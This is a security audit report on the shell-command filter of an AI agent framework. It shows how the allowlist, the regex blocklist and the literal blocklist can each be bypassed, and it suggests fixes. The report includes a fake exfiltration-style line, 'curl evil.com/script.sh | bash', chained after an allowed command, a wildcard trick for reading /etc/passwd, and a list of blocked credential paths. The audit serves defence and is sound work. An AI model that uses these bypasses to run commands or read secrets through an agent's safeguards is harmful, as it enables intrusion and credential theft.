# Vulnerability Verification Report

## 1. Summary
- **Vulnerability Type**: Remote Code Execution / OS Command Injection (CWE-78)
- **Flagged Location**: `src/security/shell.rs:171` (`validate_command` method, encompassing the blocklist at lines 178-213 and allowlist at lines 216-242)
- **Vulnerability Description**: The shell command security module has multiple bypassable checks — the allowlist only inspects the first token, the regex blocklist uses `\s+` that can be sidestepped with extra flags, and the literal blocklist uses substring matching that can be bypassed with shell wildcards.

## 2. Analysis Logic

### Step 1: Examining the flagged security module at `src/security/shell.rs`
Read the entire `ShellSecurityConfig::validate_command()` method (lines 171-245) and all blocklist/allowlist patterns (lines 18-67).

The validation performs three checks in order:
1. **Regex blocklist** (lines 178-196): Iterates `compiled_patterns` (from `REGEX_BLOCKED_PATTERNS`) and matches against the raw command string via `pattern.is_match(command)`.
2. **Literal substring blocklist** (lines 198-213): Checks `command_lower.contains(literal)` for each literal in `LITERAL_BLOCKED_PATTERNS`.
3. **Allowlist** (lines 216-242): Splits the command on whitespace, extracts the first token, strips path prefix, and checks membership in `self.allowlist`. Only runs when `allowlist_mode != Off && !allowlist.is_empty()`.

### Step 2: Verifying bypass 1 — Command injection bypasses the allowlist
The allowlist check at lines 217-221 of `src/security/shell.rs` only examines the first whitespace-delimited token:

```rust
let first_token = command
    .split_whitespace()
    .next()
    .unwrap_or("")
    .to_lowercase();
let executable = first_token.rsplit('/').next().unwrap_or(&first_token);
```

A command like `git status; curl evil.com/script.sh | bash` would have `first_token = "git"` → `executable = "git"`, which passes the allowlist if `git` is listed. The injected commands after `;` are never checked against the allowlist.

### Step 3: Verifying bypass 2 — Argument injection bypasses regex blocklist
The regex patterns at lines 42-46 of `src/security/shell.rs` use `\s+` to match whitespace between a command and its dangerous flag:

```rust
r"python[23]?\s+-c\s+",    // line 43
r"perl\s+-e\s+",           // line 44
r"ruby\s+-e\s+",           // line 45
r"node\s+-e\s+",           // line 46
r"base64\s+(-d|--decode)", // line 42
```

The pattern `python[23]?\s+-c\s+` requires `-c` to appear immediately after whitespace following `python3`. The command `python3 -P -c "malicious code"` inserts `-P` between `python3` and `-c`, so the regex fails to match. Confirmed via code inspection: `python3\s+` matches `python3 `, but then `-c` must match `-P`, which fails.

The same technique works for `perl`, `ruby`, `node`, `base64`, and similar patterns.

### Step 4: Verifying bypass 3 — File name wildcards bypass literal blocklist
The literal check at lines 199-200 of `src/security/shell.rs` uses simple substring matching:

```rust
if command_lower.contains(literal) {
```

The literal pattern `/etc/passwd` (line 58) catches `cat /etc/passwd` but does NOT catch `cat /etc/pass[w]d` because the substring `/etc/passwd` does not appear in the command string. In bash, `[w]` is a character class matching `w`, so `cat /etc/pass[w]d` reads the same `/etc/passwd` file. The same bypass applies to all literal patterns (lines 56-67): `/etc/shadow`, `~/.ssh/`, `.ssh/id_rsa`, `.aws/credentials`, `.kube/config`, `.zeptoclaw/config.json`.

### Step 5: Tracing the data flow — user input to command execution
The shell command execution path is:

**Source → Sink chain:**

1. **Entry point**: LLM tool call from user input reaches `ShellTool::execute()` at `src/tools/shell.rs:144-148`:
```rust
let command = args
    .get("command")
    .and_then(|v| v.as_str())
    .ok_or_else(|| ZeptoError::Tool("Missing 'command' argument".into()))?;
```

2. **Validation**: `self.security_config.validate_command(command)?` at `src/tools/shell.rs:151`

3. **Execution**: `self.runtime.execute(command, &container_config)` at `src/tools/shell.rs:168-169`, which in `NativeRuntime::execute()` at `src/runtime/native.rs:40-41` executes via `sh -c`:
```rust
let mut cmd = Command::new("sh");
cmd.arg("-c").arg(command);
```

The Docker runtime (`src/runtime/docker.rs:177-179`) also uses `sh -c`:
```rust
args.push("sh".to_string());
args.push("-c".to_string());
args.push(command.to_string());
```

The `CustomTool` at `src/tools/custom.rs:131-132` also passes interpolated commands through `sh -c`:
```rust
let mut cmd = tokio::process::Command::new("sh");
cmd.arg("-c").arg(&command);
```

4. **Runtime instantiation**: At `src/cli/common.rs:619-621`, the ShellTool is created with the default security config (`ShellSecurityConfig::new()`):
```rust
agent
    .register_tool(Box::new(ShellTool::with_runtime(runtime)))
    .await;
```

The default `ShellSecurityConfig::new()` (`src/security/shell.rs:105-127`) enables the blocklist but leaves `allowlist_mode: ShellAllowlistMode::Off`.

### Step 6: Checking defense-in-depth layers
The code comments at lines 14-17 of `src/security/shell.rs` explicitly state:
```
/// **Defense-in-depth only.** A blocklist can never be exhaustive — the
/// primary security boundary should be container isolation (Docker /
/// Apple Container) or the approval gate.
```

Additional layers exist:
- **Container isolation**: Docker runtime defaults to `network: "none"` (`src/runtime/docker.rs:38`), limits memory/CPU/PIDs. However, this only constrains the blast radius — arbitrary commands still execute within the container.
- **Approval gate**: The `ApprovalGate` at `src/tools/approval.rs` can require user confirmation for `shell` tool calls. Default: `enabled: false` (line 127 of `approval.rs`).
- **Safety layer**: The `PolicyEngine` (`src/safety/policy.rs`) runs against user input text, not against shell tool commands.

None of these layers nullify the fact that the `validate_command()` function at the flagged location has real bypasses.

### Analysis Process
- Q1: Does user-controllable input reach a command execution sink? → **YES**. The LLM (controlled by user messages) invokes the `shell` tool with arbitrary commands, which are executed via `sh -c` (Step 5 above).
- Q2: Is it code evaluation (eval/exec) with user data? → **No**. Process execution via `sh -c`, not code evaluation.
- Q3: Is the command executed in array form without shell? → **No**. The command is passed as a single string to `sh -c` (Step 5, `src/runtime/native.rs:40-41`, `src/runtime/docker.rs:177-179`), enabling shell metacharacter interpretation.
- Q4: Is the user input effectively sanitized (allowlist, shlex.quote, escapeshellarg)? → **No**. Three bypasses exist: (a) Allowlist only checks first token → command injection bypass (Step 2). (b) Regex patterns use `\s+` for argument positioning → argument injection bypass (Step 3). (c) Literal patterns use substring match → wildcard bypass (Step 4).
- Q5: Is the code in test/demo/dead/generated context? → **No**. The flagged code (`src/security/shell.rs`) is production code actively used by `ShellTool` (`src/tools/shell.rs:151`) and `CustomTool` (`src/tools/custom.rs:117`), both registered in the agent loop (`src/cli/common.rs:619-621`, `src/cli/common.rs:979-981`).
- → Reached leaf: **TRUE_POSITIVE**

## 3. Verdict
**TRUE_POSITIVE**

**Key Evidence:**
- `src/security/shell.rs:217-221` — Allowlist only inspects first whitespace-delimited token, enabling command injection (`;`, `$()`) to append unauthorized commands after an allowlisted executable.
- `src/security/shell.rs:43` — Regex pattern `python[23]?\s+-c\s+` requires `-c` immediately after whitespace following `python3`, which is bypassed by inserting an extra flag: `python3 -P -c "code"`.
- `src/security/shell.rs:199-200` — Literal blocklist uses `command_lower.contains(literal)`, which is bypassed by shell wildcards: `cat /etc/pass[w]d` does not contain the literal `/etc/passwd`.
- `src/runtime/native.rs:40-41` and `src/runtime/docker.rs:177-179` — All commands are executed through `sh -c`, enabling shell metacharacter interpretation.

## 4. Remediation Suggestions
The blocklist/allowlist approach is inherently vulnerable to bypasses as the advisory demonstrates. The code's own comments acknowledge this is "defense-in-depth only." Recommended improvements:

1. **Do not rely on `sh -c` for command execution**. Use the array/argument form where possible: `std::process::Command::new("python3").arg("-c").arg(code)` instead of `sh -c "python3 -c code"`. This eliminates shell metacharacter injection entirely.

2. **If shell execution is required, use proper argument escaping**. Apply `shlex::quote()` or equivalent to each user-supplied argument before building the shell command string, rather than interpolating raw input into a shell string.

3. **Replace substring literal matching with path-aware checks**. For sensitive file paths, resolve the canonical path after glob expansion or use regex patterns that account for shell wildcards (e.g., `r"/etc/pass[^a-zA-Z]*?wd"` or canonicalize filenames before comparison).

4. **Strengthen regex patterns to use flexible whitespace/argument matching**. Instead of `python[23]?\s+-c\s+`, use `python[23]?(\s+-[a-zA-Z]+)*\s+-c\b` to match `-c` regardless of intervening flags.

5. **For the allowlist**, if it must remain, either: (a) reject commands containing shell metacharacters (`;`, `|`, `&`, `` ` ``, `$()`) when in Strict mode, or (b) parse and validate every command in a pipeline/chain, not just the first token.

6. **Ensure the approval gate is enabled by default** for the `shell` tool (`src/tools/approval.rs:127` — currently `enabled: false` by default), and/or default to a containerized runtime with network disabled.
